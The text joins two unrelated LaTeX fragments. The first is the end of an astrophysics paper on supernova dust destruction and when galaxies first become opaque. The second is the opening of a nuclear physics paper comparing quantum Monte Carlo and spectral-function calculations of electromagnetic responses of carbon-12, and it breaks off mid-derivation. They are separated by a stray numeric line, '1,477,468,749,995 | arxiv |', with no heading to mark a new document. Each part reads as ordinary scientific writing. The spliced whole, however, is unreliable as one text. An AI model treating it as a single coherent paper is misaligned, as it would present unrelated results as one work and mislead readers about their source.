The initial velocity of the reverse shock at $\alpha$ = 1 is zero, reaching a maximum at $\alpha$ = 0, when it reaches the origin of the explosion. No dust will be destroyed at $\alpha$ = 1, since the gas temperature so low that most gas molecules have kinetic energies well below the sputtering threshold. Very little grain destruction is also expected to take place at $\alpha$ = 0 since in spite of the high gas temperature, the gas density is very low and the sputtering lifetime is longer than the expansion time of the ejecta. There is therefore an optimal location 0 $< \alpha <$ 1, where the shock velocity (gas temperature) and ejecta density are such that $\tau_{sput}/t < 1$, and grain destruction can take place.
\begin{figure}
\includegraphics[height=3.0in]{dwek_fig5.eps}
\caption{The velocity profile of the reverse shock traversing the SN ejecta. The reverse shock originates at $\alpha$ = 1, and over time propagates back into the ejecta, until it reaches the origin at $\alpha$ = 0.}
\end{figure}
\begin{figure}
\includegraphics[height=3.0in]{dwek_fig6.eps}
\caption{The survival of SN condensates in different layers of the ejecta. The survival of the dust is measured by the ratio of the sputtering timescale, $\tau_{sput}$ to that of the expansion time, $t$, of the ejecta. Grains are destroyed in layers for which $\tau_{sput}/t < 1$. }
\end{figure}
The $\alpha$-interval in which grains are completely destroyed will depend on the size of the newly-nucleated dust particles. Figure 6 depicts the location in the ejecta in which dust is completely destroyed by the reverse shock. The calculations were performed for dust particles with radii of 0.1 and 0.01 $\mu$m embedded in a smooth, O-rich ejecta. As expected, the smaller dust particles are destroyed over a wider range of ejecta layers compared to the larger size particles. In reality, SN ejecta are clumpy, and the SN dust is expected to reside predominantly in the clumpy phases of the ejecta, as is suggested by the detection of dust in the fast moving knots of the remnant of Cas~A \cite{l96, adm}. The reverse shock slows down below the threshold for complete grain destruction as it traverses these density enhancements in the ejecta. Consequently, dust in the clumpy ejecta may only be shattered instead of being completely destroyed by sputtering. The total amount of grain processing in the SN ejecta is however still highly uncertain.
An independent investigation into the effect of reverse shocks from the H-envelope, the presupernova wind, and the ISM on the formation of dust, the amount of grain processing, and the implantation of isotopic anomalies in SN ejecta was carried out by Deneault, Clayton, \& Heger \cite{dch}.
\subsection{Putting it all together in an idealized evolutionary model}
Figure 7 depicts the evolution of the overall metallicity of the ISM (gas and dust), and that of the dust (silicates + carbon dust) in a normal galaxy with an exponential star formation rate characterized by a decay time of 6~Gyr. Starting with an initial star formation rate of 80~M$_{\odot}$~yr$^{-1}$, the galaxy will form about 3$\times 10^{11}$~M$_{\odot}$ of stars in a period of 13~Gyr. The silicate and carbon dust yields were calculated assuming a condensation efficiency of unity in the ejecta, and grain destruction was neglected. The model therefore represents an idealized case, in which grain production is maximized, and grain destruction processes are totally ignored. Also shown in the figure are the separate contributions of AGB stars to the abundance of silicate and carbon dust. The onset of the AGB contribution to the silicate abundance starts when $\sim$ 8~M$_{\odot}$ stars evolve off the main sequence, whereas the AGB stars start to contribute to the carbon abundance only when 4~M$_{\odot}$ stars reach the AGB phase. The figure also presents the dust-to-ISM metallicity ratio. The ratio is almost constant at a value of $\sim$ 0.36. At $t$ = 14~Gyr, the model gives a silicate-to-gas mass ratio of 0.0048, and a carbon dust-to-gas mass ratio of 0.0025, in very good agreement to their values in the local ISM.
\begin{figure}
\includegraphics[height=3.0in]{dwek_fig7.eps}
\caption{The evolution of the metallicity of the ISM and that of the dust as a function of time, Details in \S3.4 of the text.}
\end{figure}
\begin{figure}
\includegraphics[height=3.0in]{dwek_fig8.eps}
\caption{The evolution of dust as a function of ISM metallicity. Silicates are depicted by dashed lines, and carbon dust by solid lines. Bold lines represent the total contribution from SN~II and AGB stars, and the light lines the separate contributions of the latter sources.}
\end{figure}
The idealized model presented above highlights several problems concerning the galactic evolution of dust:
\begin{enumerate}
\item the model reproduces the silicate and carbon dust abundances observed in the local ISM under idealized conditions. Any significant reduction in the yield of dust in SNe and AGB stars will result in a comparable reduction of the dust abundance;
\item the above problem is exacerbated if grain destruction is taken into account, especially with the short timescales of 0.5 Gyr calculated by \cite{jht};
\item an obvious solution is to postulate that the mass of interstellar dust is reconstituted by accretion onto surviving grains in molecular clouds. This solution poses a different set of problems, since the resulting morphology and composition of the dust may not be able to reproduce the constraints (extinction, IR continuum and broad emission features) observed in the local ISM \cite{n98};
\item however, the fact that ZDA discovered many dust models, including composite type particles that are expected to form in molecular clouds, that satisfy these observational constraint is a very encouraging solution to the interstellar dust abundance problem;
\item finally, the global efficiency of grain destruction depends on the morphology of the interstellar medium, and may not be as high as calculated by \cite{jht}, especially if the filling factor of the hot cavities generated by expanding SN remnants is sufficiently large \cite{dw79}.
\end{enumerate}
Figure 8 is a variation on the previous one, plotting select quantities as a function of the ISM metallicity.
The figure illustrates an interesting fact: if PAHs are only produced in AGB stars, then one would expect PAH features to arise in galaxies with a minimum metallicity of 0.1$Z_{\odot}$. This may be partly the cause for the very low abundance of PAHs in low metallicity systems \cite{g03, m04}, and for the appearance of PAH features in the spectra of galaxies only below a metallicity threshold of about 0.1$Z_{\odot}$ (Rieke and Engelbracht, private communications).
The spectral appearance of a galaxy in the mid-IR and its UV-optical opacity is therefore affected by the delayed injection of carbon dust into the ISM. Figure 9 shows the evolution in the SED of a normal spiral galaxy as calculated by \cite{dw00}, illustrating the evolution of the PAH features with time. The heavy solid line represents the unattenuated stellar spectrum. The thin solid line is the total reradiated dust emission. At early epochs the reradiated IR emission is dominated by emission from H~II regions (top two panels), and therefore lack any PAH features. At later times, the contribution of non-ionizing photons dominates the dust heating, and consequently, the IR emission from the diffuse H~I gas dominates that from the H~II regions (dotted line, lower two panels). Also noticeable in the lower two panels is the difference between the attenuated and unattenuated stellar spectrum.
\begin{figure}
\includegraphics[height=3.0in]{dwek_fig9.eps}
\caption{The evolution of the SED of a normal spiral galaxy as calculated by \cite{dw00}. More details in the text.}
\end{figure}
\section{When do galaxies become first opaque?}
On a cosmological scale, the formation and evolution of dust in galaxies and damped Ly$\alpha$ (DLA) systems has been a subject of considerable interest with the goals of studying the following: the effects of dust on the rate of various dust-related physical processes in their ISM such as the formation of H$_2$ \cite{hf}; the obscuration of quasars \cite{fp93, cne}; the relation between the dust abundance and galaxy metallicity \cite{lf, dw98}; the depletion of elements in DLA systems \cite{ks03, ks04}; and the evolution of the IR emission seen in the diffuse extragalactic background light \cite{pfh}.
Also a subject of great interest is when galaxies became first opaque, opacity being defined in a bolometric sense as the fraction of total starlight energy that is processed by dust into IR emission. Observations of ultraluminous IR galaxies at redshifts of $\sim$ 3 \cite{e04, i04} and the detection of large quantities of dust in high-redshift objects \cite{d03}, suggest that dust formation occurred early and efficiently after the onset of galaxy formation.
The need for rapid dust formation has led Dunne et al. \cite{d03} to propose that massive, rapidly evolving stars must be responsible for the dust observed at high redshifts. This seems to be supported by the fact that dust production in AGB stars is delayed by a few hundred million years, compared to the production by SNe (see Figure 7). Furthermore, the yield of dust in AGB stars may be quite lower than that depicted in Figure 2. But what is the dust yield from SNe? Observations of Cas~A with the {\it ISO} \cite{l96, adm} and {\it Spitzer} satellites \cite{h04, k04} show that the total mass of SN condensed dust is less than $\sim$ 0.2~M$_{\odot}$, which is only about 10\%, of the total amount of refractory elements that formed in the ejecta. Using SCUBA submillimeter observations of the remnant, Dunne et al. \cite{d03} claimed to have detected a large mass ($M \approx 2 - 20$ M$_{\odot}$, depending on the adopted dust properties) of cold dust in the ejecta of Cas~A. This large amount of dust exceeds the amount of refractory elements produced in the explosion \cite{dw04b}. Subsequent observations with the {\it Spitzer} satellite, and comparison of the SCUBA data with molecular line observations revealed that the submillimeter emission from the direction of Cas~A is actually emitted from a molecular cloud along the line of sight to the remnant, instead of the ejecta \cite{k04, wb04}. The total mass of dust produced in SNe may therefore also be lower by a factor between 5 and 10 from those depicted in Figure 3. The question of what dust is responsible for the rise in galactic opacity will depend therefore on details of the dust evolution model. On one hand, SNe do indeed form the first dust, but on the other hand, carbon particles are significantly more opaque than silicates, potentially offsetting the advantage of SN condensates. What dust particles are ultimately responsible for producing the UV-optical opacity in galaxies will therefore depend on the relative yields of SN- and AGB-condensed dust, and their subsequent evolution. Here we will only present a very preliminary investigation into this issue.
We will assume that galaxies first become opaque when the radial visual optical depth of molecular clouds in which most of the star formation takes place exceeds unity. The radial opacity of a cloud at $V$ is given by:
\begin{equation}
\tau(V) = Z_d \left({3M_c \over 4\pi R_c^2}\right)\kappa_d(V)
\end{equation}
where $Z_d$ is the dust-to-gas mass ratio, $M_c$ the mass of the cloud, $R_c$ its radius, and $\kappa_d$ is the mass absorption coefficient of the dust. The criteria we adopt here is obviously a simplified one, since many overlapping optically thin molecular clouds can create an effectively opaque line-of-sight to star forming regions. Nevertheless, this criterion is useful for this simple analysis.
Numerically, the expression for $\tau(V)$ is approximately given by:
\begin{equation}
\tau(V) \approx 2\ Z_d \left({M_c/M_{\odot} \over \pi (R_c/{\rm pc})^2}\right) \left({\kappa_d(V)\over 10^4\ {\rm cm}^2\ {\rm g}^{-1}}\right)
\end{equation}
Dust opacities at $V$ are \cite{dl84}:
\begin{eqnarray}
\kappa_d(V) & = & 3\times 10^3\ {\rm cm}^2 {\rm g}^{-1} \qquad \rm {for\ silicate\ dust} \\
& = & 5\times 10^4\ {\rm cm}^2 {\rm g}^{-1} \qquad {\rm for\ carbon\ dust}
\end{eqnarray}
The surface density of molecular clouds in normal galaxies exhibits a narrow spread in values, ranging from about 10 to 100 M$_{\odot}$\ pc$^{-2}$ \cite{i00}. In luminous IR galaxies (LIRGs) star formation seems to take place in clouds with higher surface densities of about 10$^3$ to 10$^4$ M$_{\odot}$\ pc$^{-2}$ \cite{s92}.
Adopting a cloud surface density of $5\times10^3$ M$_{\odot}$\ pc$^{-2}$ we get that actively star forming galaxies will become first opaque when $\tau(V) \approx $ 1, or when
\begin{eqnarray}
Z_d & \approx & 3\times10^{-4}\qquad {\rm for\ silicate\ dust} \\ \nonumber
& \approx & 2\times10^{-5}\qquad {\rm for\ carbon\ dust}
\end{eqnarray}
From Figure 7 we get that the critical metallicity for carbon dust is reached when the time lapse since the onset of star formation, $\Delta t$, is about 100~Myr, and that SN-condensed carbon dominates the abundance of carbon dust in the ISM. If only AGB stars produced carbon dust, then silicate dust particles will provide the first significant opacity and reach the critical metallicity at $\Delta t \approx$ 400~Myr. Carbon produced in AGB stars will reach the critical carbon metallicity later, at $\Delta t \approx$ 500~Myr. Adopting a standard $\Lambda$CDM cosmology with a Hubble constant of 70~km~s$^{-1}$~Mpc$^{-1}$, $\Omega_{\Lambda}$ = 0.73, and $\Omega_m$ = 0.27, we get that the rate at which the universe ages as a function of redshift $z$ is given, to an accuracy of $\sim$ 4\%, by:
\begin{equation}
\left|{dt\over dz}\right| = 7.4\ z^{-2}\ \ \ {\rm Gyr} \qquad {\rm for\ } 2 < z < 10
\end{equation}
If the SSP first formed at $z=z_s$, the the universe became first opaque at a redshift $z_{\tau=1}$ given by:
\begin{equation}
z_{\tau=1} \approx z_s\ \left[1+\left({\Delta t / {\rm Gyr} \over 7.4}\right)\ z_s\right]^{-1} \qquad 2 < z_{\tau=1} < z_s < 10
\end{equation}
\begin{figure}
\includegraphics[height=3.0in]{dwek_fig10.eps}
\caption{The redshift $z_{\tau=1}$, at which a galaxy becomes opaque (as defined in the text) as a function of the redshift $z_s$ at which the galaxy first formed. The different curves are labeled by $\Delta t$(Gyr), the time required for the dust abundance to be sufficiently high to cause typical molecular clouds to become opaque.}
\end{figure}
Figure 10 shows the exact relation between $z_s$ and $z_{\tau=1}$ for different values of $\Delta t$. For the simple model adopted here, the figure shows that a galaxy formed at redshift $z_s$ = 10, will become opaque at $z_{\tau=1} \approx$ 8.8 if $\Delta t$ = 100~Myr, and at $z_{\tau=1} \approx$ 5.9 if $\Delta t$ = 500~Myr. The actual value of $\Delta t$ depends on the chemical evolution model, the condensation efficiencies of carbon and silicate dust in the different sources, and the star formation history of the galaxy.
The figure presented here is very general, and illustrates the interrelation between the epoch of galaxy formation and the evolution of dust. It is applied here to a simplified model which was not specifically designed to follow the evolution of the ultraluminous IR galaxies (ULIRGs) observed at high redshifts. ULIRGs may have a much higher star formation rate than value of 80~M$_{\odot}$~yr$^{-1}$ used in the calculations. Furthermore, as mentioned before, the overlap of molecular clouds can render a galaxy opaque even when the individual clouds are optically thin. The model above was only presented here for illustrative purposes, and can easily be used to solve the inverse problem: given the fact that a galaxy is observed to be optically thick at a given redshift, what are the required star formation rate and dust formation efficiencies to make it optically thick at that redshift?
\section{Summary}
We have made many advances in our understanding of interstellar dust. However, many details about its origin and evolution are still unclear. Major unresolved issues are the efficiency of dust formation in the various sources, especially supernovae; the composition and the in-situ survival of the newly-formed dust; the efficiency of grain destruction in the ISM; the reconstitution of dust particles by accretion in molecular clouds and the resulting dust composition; and finally, the global effects of dust evolution on galactic opacities and the redistribution of stellar energies into infrared emission.
Currently operating and future space-, air-, and ground-based observatories will provide a wealth of new information which will go a long way towards addressing and solving many of the issues raised above.
\begin{theacknowledgments}
I thank Richard Tuffs and Cristina Popescu for organizing a scientifically stimulating conference in a beautiful surrounding, and Rick Arendt for suggesting a more accurate form for eq. (7) than appeared in the original version of the manuscript, and for comments that greatly enhanced the clarity of this paper. This work has been supported by the NASA OSS Long Term Space Astrophysics Program LTSA-2003-0065
\end{theacknowledgments}
|
1,477,468,749,995 | arxiv | \section{Introduction}
Understanding neutrino-interactions with nuclei in the broad kinematical region relevant to long-baseline neutrino-oscillation experiments is
a challenging
many-body problem, whose solution requires an accurate and consistent description of the nuclear initial and final states, as well as of the interaction vertex.
These elements are in fact intimately connected, as the
Hamiltonian determining the nuclear wave functions
is related to the currents entering the definition of the transition operators through the continuity equation.
In addition, for large values of the momentum transfer, a full account of relativistic effects and the resonance production mechanism is required.
The payoff of this endeavor is high, as it will lead to a significant reduction of the systematic uncertainties associated with the determination of oscillation parameters. In addition, a comparison between theoretical predictions and experimental data will provide a great deal of previously unavailable information, allowing to test the existing models of nuclear interactions and currents,
notably in kinematical regions sensitive to the high-momentum components of the nuclear wave function. As an example, signatures of nuclear
short-range correlations arising from the non-central component of the nucleon-nucleon (NN) force have been recently identified in charge-changing neutrino-nucleus
interactions observed in the Liquid Argon Time Projection Chamber of the ArgoNeuT Collaboration \cite{Acciarri,Cavanna:2015sla}.
Electroweak currents are usually tested on transitions of light nuclei, characterized by extremely low momentum transfer. Validating these currents in neutrino-nucleus scattering calculations would corroborate their applicability in the lower energy window, down to 20\textendash 30~MeV, which is of great relevance for the physics of supernovae. Finally, probing the high-momentum region is potentially relevant for the ongoing and planned searches of neutrinoless double-beta ($0\nu\beta\beta$) decay. In fact, unlike the standard $2\nu\beta\beta$ process, in the
$0\nu\beta\beta$ decay the virtuality of the neutrino in the intermediate state makes the
nuclear matrix element sensitive to the high momentum components of the nuclear wave function.
The measurement of a Charged Current Quasi Elastic (CCQE) cross section largely exceeding the predictions of the Relativistic Fermi Gas Model (RFGM), reported by the MiniBooNE collaboration \cite{AguilarArevalo:2007ab,AguilarArevalo:2010zc}, has clearly exposed the need for a more accurate model of neutrino-nucleus interactions, whose development will require a cross-disciplinary transfer of knowledge between nuclear theorists, neutrino experimentalists and the
developers of simulation codes. In the pioneering works of Martini {\em et al.} \cite{Martini:2009uj,Martini:2010ex} and Nieves {\em et al.} \cite{Nieves:2011pp,Nieves:2011yp}, the discrepancy between theory and data has been ascribed to reaction mechanisms other than single nucleon knock out, such as those involving meson-exchange currents (MEC), leading to the occurrence of many-particle many-holes final states. The contributions of MEC, evaluated within the RFGM, have been also included in the phenomenological approach based on the scaling analysis of electron-nucleus scattering data ~\cite{Amaro:2010sd,Megias:2014qva,Megias:2016}. While being remarkably successful in explaining MiniBooNE data, however, these models are all based on a somewhat oversimplified description of the underlying nuclear dynamics.
Over the past decade, {\em ab initio} approaches have reached the degree of maturity needed to describe lepton-nucleus scattering processes starting from a realistic model of the interactions among the nucleons and between them and the beam particle. For instance, the electric dipole response of $^{16}$O and $^{40}$Ca has been computed combining the Lorentz integral transform with the coupled-cluster many-body technique~\cite{Bacca:2013dma,Bacca:2014rta}. The Green's Function Monte Carlo (GFMC) algorithm has been implemented to perform accurate calculations of the electromagnetic response functions of $^4$He and $^{12}$C in the regime of moderate momentum transfer, which fully include nuclear correlations generated by a state-of-the-art Hamiltonian and consistent meson-exchange currents \cite{Lovato:2015qka,Lovato:2016gkq}. The main drawbacks of this method are its computational
cost\textemdash $\sim$5 million core-hours to compute the response functions for a single value of the momentum transfer\textemdash and the severe difficulties involved in its extension to include relativistic kinematic and resonance production.
At large momentum transfer, the formalism based on spectral function (SF) and factorization of the nuclear transition matrix elements \cite{PRD} allows the combination of a fully relativistic description of the electromagnetic interaction with an accurate treatment of nuclear dynamics. Recently, this approach has been generalized to include the contributions of meson-exchange currents leading to final states with two nucleons in the continuum~\cite{Benhar:2015ula,Rocco:2015cil}. However, final state interactions (FSI) involving the struck particles are treated as corrections, whose inclusion requires further approximations \cite{Benhar2013,Ankowski2015}
In view of the the above considerations, a comparison of the results obtained using
different approaches appears to be much needed.
Ab initio methods, while not being best suited to study the kinematical region relevant to neutrino experiments, can in fact provide strict
benchmarks, valuable to constrain more approximate models in the limit of low momentum transfer.
This article can be seen as a first step in this direction. We report the results of an analysis of the electromagnetic responses of $^{12}$C, obtained from the GFMC and
SF approaches in a variety of kinematical setups. Our work is
aimed at gauging the accuracy of the factorization approximation and the importance of relativistic effects, in both the kinematics and the current operator. In order to pin down the role played by the elements of the calculations, we only consider one-body terms in the nuclear current, leaving the discussion of two-body MEC to a forthcoming study. It is very important to realize that our comparison is fully legitimate and meaningful, because the SF and GFMC approaches are based on the same dynamical model, in which nuclear interactions are described by a realistic phenomenological Hamiltonian.
In Section \ref{sec:nr}, we outline the derivation of the electromagnetic responses from the electron-nucleus cross section, and discuss the main elements of their
description within the GFMC and SF approaches.
In Section \ref{section:results} we report the results of our analysis, carried out in the kinematical region corresponding to momentum transfer in the range 300\textendash570 MeV, while in
Section \ref{conclusions} we summarize our findings and state the conclusions.
\section{Nuclear response}
\label{sec:nr}
The double differential cross section of the inclusive electron-nucleus scattering process in which an electron of initial four-momentum $k_e=(E_e,{\bf k}_e)$ scatters off a nuclear target to a state of four-momentum $k_{e^\prime}=(E_{e^\prime},{\bf k}_{e^\prime})$, the hadronic final state being undetected, can be written in the one-photon-exchange approximation as
\begin{equation}
\label{xsec}
\frac{d^2\sigma}{d E_{e^\prime} d\Omega_{e^\prime}} =\frac{\alpha^2}{q^4}\frac{E_{e^\prime}}{E_e}L_{\mu\nu}W_A^{\mu\nu} \ .
\end{equation}
In the above equation $\alpha = 1/137$ is the fine structure constant, $d\Omega_{e^\prime}$ is the differential solid angle in the direction specified by the vector ${\bf k}_{e^\prime}$, and $q=k_e - k_{e^\prime} =(\omega,{\bf q})$ is the four momentum transfer. The lepton tensor $L_{\mu\nu}$ is fully specified by the measured electron kinematical variables. The nuclear response is described by the tensor $W_A^{\mu\nu}$, defined as
\begin{align}
\label{response:tensor}
W^{\mu \nu}_A({\bf q},\omega) =&\sum_N \langle 0| J_A^\mu(q) | N \rangle \langle N | J_A^\nu(q) | 0 \rangle \times \nonumber \\
& \delta^{(4)}(P_0+q-P_N) \ ,
\end{align}
where $| 0 \rangle$ and $| N \rangle$ denote the initial and final hadronic states, the four-momenta of which are $P_0\equiv ( E_0,{\bf p}_0 )$ and
$P_N \equiv (E_N,{\bf p}_N) $.
The target ground state $|0\rangle$ does not depend on momentum transfer, and can be safely described using nonrelativistic nuclear many-body theory (NMBT). Within this scheme, the nucleus is viewed as a collection of $A$ pointlike protons and neutrons, whose dynamics are described by the Hamiltonian
\begin{equation}
\label{NMBT:ham}
H=\sum_{i}\frac{{\bf p}_i^2}{2m}+\sum_{j>i} v_{ij}+ \sum_{k>j>i}V_{ijk}\ .
\end{equation}
In the above equation, ${\bf p}_i$ is the momentum of the $i$-th nucleon, while the potentials $v_{ij}$ and $V_{ijk}$ describe
two- and three-nucleon interactions, respectively. Phenomenological two-body potentials are obtained from an accurate fit to the available
data on the two-nucleon system, in both bound and scattering states, and reduce to the Yukawa one-pion-exchange potential at large
distances. In this work, we adopt the state-of-the-art
Argonne $v_{18}$ potential \cite{Wiringa:1994wb}.
The inclusion of the additional three-body term, $V_{ijk}$, is needed to explain the binding energies of the
three-nucleon systems and nuclear matter saturation properties~\cite{Pieper:2001ap}.
The nuclear electromagnetic current is usually written as a sum of one- and two-nucleon contributions according to
\begin{equation}
\label{nuclear:current}
J_A^\mu= \sum_i j^\mu_i+\sum_{j>i} j^\mu_{ij} \ ,
\end{equation}
where the second term in the right hand side\textemdash accounting for processes in which
the photon couples to a meson exchanged between two interacting nucleons or to the excitation of a resonance (see, e.g., Ref.~\cite{Marcucci:2015rca})\textemdash
is needed for the continuity equation to be satisfied.
In this paper we will discuss the results obtained retaining only the current $j_i^\mu$, which describes interactions involving a single
nucleon. In the quasi elastic (QE) sector, it can be expressed in terms of the measured proton and neutron vector form factors \cite{Kelly2004,BBBA}.
Both the current operator and the final nuclear state $|N\rangle$, which includes at least one particle carrying a momentum of order
$|{\bf q}|$, explicitly depend on ${\bf q}$. As a consequence, in the absence of a comprehensive relativistic description of nuclear
structure and dynamics, a consistent theoretical calculation of the response tensor is only possible in the kinematical regime
corresponding to $|{\bf q}|/m\ll 1$, with $m$ being the nucleon mass, where the non relativistic approximation is applicable.
By performing the Lorentz contraction, the double differential cross section of Eq.\eqref{xsec}, can be written in terms of the nuclear responses describing interactions with longitudinally (L) and transversely (T) polarised photons
\begin{align}
\nonumber
\frac{d^2\sigma}{d E_e^\prime d\Omega_e}& =\left( \frac{d \sigma}{d \Omega_e} \right)_{\rm{M}} \Big[ A_L(|{\bf q}|,\omega,\theta_e) R_L(|{\bf q}|,\omega) \\
& + A_T(|{\bf q}|,\omega,\theta_e) R_T(|{\bf q}|,\omega) \Big] \ ,
\label{xsec:RL:RT}
\end{align}
where
\begin{align}
A_L = \Big( \frac{q^2}{{\bf q}^2}\Big)^2 \ \ \ , \ \ \ A_T = -\frac{1}{2}\frac{q^2}{{\bf q}^2}+\tan^2\frac{\theta_e}{2} \ .
\end{align}
and $( d \sigma/d \Omega_e)_{\rm{M}}= [ \alpha \cos(\theta_e/2)/4 E_e\sin^2(\theta_e/2) ]^2$ is the Mott cross section.
The $L$ and $T$ response functions can be readily expressed in terms of the components of the hadron tensor, {\em i.e.} of the nuclear current matrix elements of Eq. \eqref{nuclear:current}, as
\begin{align}
\label{RL}
R_L & = W^{00}_A\nonumber \\
& = \sum_N \langle 0| J_A^0 | N \rangle \langle N | J_A^0 | 0 \rangle \delta^{(4)}(P_0+q-P_N) \ ,\\
\label{RT}
R_T &= \sum_{ij=1}^3\Big(\delta_{ij}-\frac{q_iq_j}{{\bf q}^2}\Big) W^{ij}_A\nonumber\\
&=\sum_N \langle 0| J_A^T | N \rangle \langle N | J_A^T | 0 \rangle \delta^{(4)}(P_0+q-P_N)\ .
\end{align}
Choosing the $z$-axis along the direction of the momentum transfer, one finds
\begin{align}
R_T &= W^{xx}_A+W^{yy}_A= \Big[\langle 0| J_A^x | N \rangle \langle N | J_A^x | 0 \rangle\nonumber\\
&+\langle 0| J_A^y | N \rangle \langle N | J_A^y | 0 \rangle\Big]\delta^{(4)}(P_0+q-P_N)\ .
\end{align}
\subsection{Quantum Monte Carlo}
GFMC is a suitable framework to carry out accurate calculations of a variety of nuclear properties
in the non relativistic regime (for a recent review of Quantum Monte Carlo methods for nuclear physics see Ref. \cite{Carlson:2014vla}).
Valuable information on the L and T responses can be obtained from their Laplace transforms, also referred to as Euclidean
responses~\cite{Carlson:1992ga,Carlson:1994zz}, defined as
\begin{equation}
\widetilde{E}_{T,L}({\bf q}, \tau)= \int_{\omega_{\rm{el}}}^\infty \,{d\omega} e^{-\omega \tau}R_{T,L}({\bf q}, \omega)\ .
\end{equation}
The lower integration limit $\omega_{\rm{el}}= {\bf q}^2/2M_A$, $M_A$ being the mass of the target nucleus, is the threshold of elastic scattering---corresponding to the
$|N \rangle = |0 \rangle$ term in the sum of Eq. \eqref{response:tensor}---the contribution of which is excluded.
Within GFMC, the Euclidean responses are evaluated from
\begin{align}
\nonumber
\widetilde{E}_L({\bf q},\tau) & = \langle 0| \rho^\ast({\bf q}) e^{-(H-E_0)\tau} \rho({\bf q})|0\rangle \\
& - |\langle 0 | \rho({\bf q}) | 0 \rangle|^2 e^{-\omega_{\rm el} \tau} \ ,
\label{eq:eucL_mat_el}
\end{align}
and
\begin{align}
\nonumber
\widetilde{E}_T({\bf q},\tau) & = \langle 0| {\bf j}_T^\dagger({\bf q}) e^{-(H-E_0)\tau} {\bf j}_T({\bf q})|0\rangle \\
& - |\langle 0 | {\bf j}_T({\bf q}) | 0 \rangle|^2 e^{-\omega_{\rm el} \tau} \ ,
\label{eq:eucT_mat_el}
\end{align}
where $\rho({\bf q})$ and ${\bf j}_T({\bf q})$ denote non relativistic reductions of the nuclear charge and transverse current operators, respectively \cite{Carlson:2001mp}.
Keeping only the leading relativistic corrections, they can be written as
\begin{align}
\rho_i({\bf q})&= \Big[ \frac{\epsilon_i}{\sqrt{1+Q^2/(4 m^2)}}\nonumber\\
&- i \frac{(2\mu_i-\epsilon_i)}{4 m^2}{\bf q}\cdot ({\bm \sigma}_i \times {\bf p}_i)\Big]\ ,\\
\label{j:trans}
{\bf j}^T_i({\bf q}) &= \Big[ \frac{\epsilon_i}{m}{\bf p}_i^T- i \frac{\mu_i}{2m}{\bf q}\times {\bm \sigma}\Big]\ ,
\end{align}
with
\begin{align}
\epsilon_i&= G^p_{E}(Q^2)\frac{1}{2}(1+\tau_{z,i})+ G_E^n(Q^2)\frac{1}{2}(1-\tau_{z,i})\ ,\nonumber\\
\mu_i &= G_M^p(Q^2)\frac{1}{2}(1+\tau_{z,i})+ G_M^n(Q^2)\frac{1}{2}(1-\tau_{z,i})\ ,
\label{form:fact}
\end{align}
where $G^{p(n)}_E(Q^2)$ and $G^{p(n)}_M(Q^2)$ are the proton (neutron) electric and magnetic form factors, while $\bm{\sigma}_i$ and $\tau_{z,i}$ are the Pauli
matrices describing the nucleon spin and the third component of the isospin, respectively.
Although the states $|N \rangle \neq | 0 \rangle$ do not appear explicitly in Eqs. \eqref{eq:eucL_mat_el} and \eqref{eq:eucT_mat_el}, the Euclidean responses include the effects of FSI of the particles involved in the electromagnetic interaction, both among themselves and with the spectator nucleons.
Inverting the Laplace transform to obtain the longitudinal and transverse response functions from their Euclidean counterparts involves non trivial difficulties. However, maximum-entropy techniques, based on bayesian inference arguments~\cite{Bryan:1990,Jarrell:1996rrw}, have been successfully exploited to perform accurate inversions, supplemented by reliable estimates of the theoretical uncertainty~\cite{Lovato:2015qka}. In the case of carbon, particular care has to be devoted to the subtraction of contributions arising from elastic scattering and
the transitions to the low-lying $2^+$ and $4^+$ states~\cite{Lovato:2016gkq}.
\subsection{Spectral function formalism}
In the kinematical region corresponding to $\lambda~\sim~\pi/|{\bf q}| \ll d$, $d$ being the average NN distance in the
target nucleus, nuclear scattering can be approximated with the incoherent sum of scattering processes involving individual nucleons.
This is the conceptual basis of the Impulse Approximation (IA), which obviously entails neglecting the contribution of the
two-nucleon current. Under the further assumption that the struck nucleon is decoupled from the spectator particles, the final
state $|N\rangle$ can be written in a factorized form according to
\begin{equation}
\label{factorization}
|N\rangle \longrightarrow |{\bf p}^\prime \rangle \otimes |R, {\bf p}_R\rangle \ ,
\end{equation}
where $|{\bf p}^\prime \rangle$ is the hadronic state produced at the electromagnetic vertex, with momentum ${\bf p}^\prime$,
and $|R, {\bf p}_R\rangle$ describes the residual system, carrying momentum ${\bf p}_R$ .
Within the IA, the intrinsic properties of both the target nucleus and the spectator system, which are obviously independent of momentum
transfer, are described in terms of the spectral function, defined as
\begin{equation}
\label{pke1}
P({\bf p},E) = \sum_R |\langle R, {\bf p}_R | a_{\bf p} | 0 \rangle |^2 \delta(E+E_0-E_R) \ ,
\end{equation}
which can be obtained from NMBT. In the above equation, the operator $a_{\bf p}$ removes a nucleon of
momentum ${\bf p}$ from the nuclear ground state, leaving the spectator system with an excitation energy $E$.
In the QE sector, the nuclear tensor of Eq.~\eqref{response:tensor} can be written as an integral involving the nuclear SF and the incoherent
sum of the elementary matrix elements of the one-body current between free nucleon states. The resulting expression is
\begin{align}
W^{\mu\nu}_A =& \int \,{d^3p \ dE} \ P({\bf p},E)
\sum_i \langle {\bf p}|j^{\mu}_i |{\bf p+q}\rangle\langle {\bf p+ q}|j^{\nu}_i |{\bf p}\rangle\nonumber\\
&\ \ \ \times \frac{m^2}{E(\bf p)E(|\bf p+q|)} \ \delta \left[\tilde{\omega}+ E({\bf p}) - E(|{\bf p+q}|)\right] \ ,
\label{pke:had:tens}
\end{align}
with
\begin{equation}
\tilde{\omega}= \omega + m - E - E({\bf p})= \omega + M_A - E_R - E({\bf p}) \ .
\end{equation}
The factors $m^2/(E(\bf p)E(|\bf p+q|))$ have been included to take into account the implicit covariant normalization of quadrispinors of the initial and final nucleons in the matrix element of $j^{\mu}_i$.
The right hand side of Eq.\eqref{pke:had:tens} can be further rewritten in terms of the quantity
\begin{align}
w^{\mu\nu}_i= \langle {\bf p}|j^{\mu}_i |{\bf p} + {\bf q} & \rangle \langle {\bf p+ q}|j^{\nu}_i |{\bf p}\rangle
\nonumber \\
&\times \delta \left[ \tilde{\omega} + E({\bf p}) - E(|{\bf p+q}|) \right] \ ,
\end{align}
to obtain
\begin{align}
\label{hadN:tens}
W^{\mu\nu}_A= \int \,{d^3p \ dE} \, & P({\bf p},E) \frac{m^2}{E(\bf p)E(|\bf p+q|) } \ \nonumber\\
& \times [ Z w_p^{\mu\nu} + (A-Z) w_n^{\mu\nu}]\ ,
\end{align}
$A$ and $Z$ being the target mass number and charge, respectively. \\
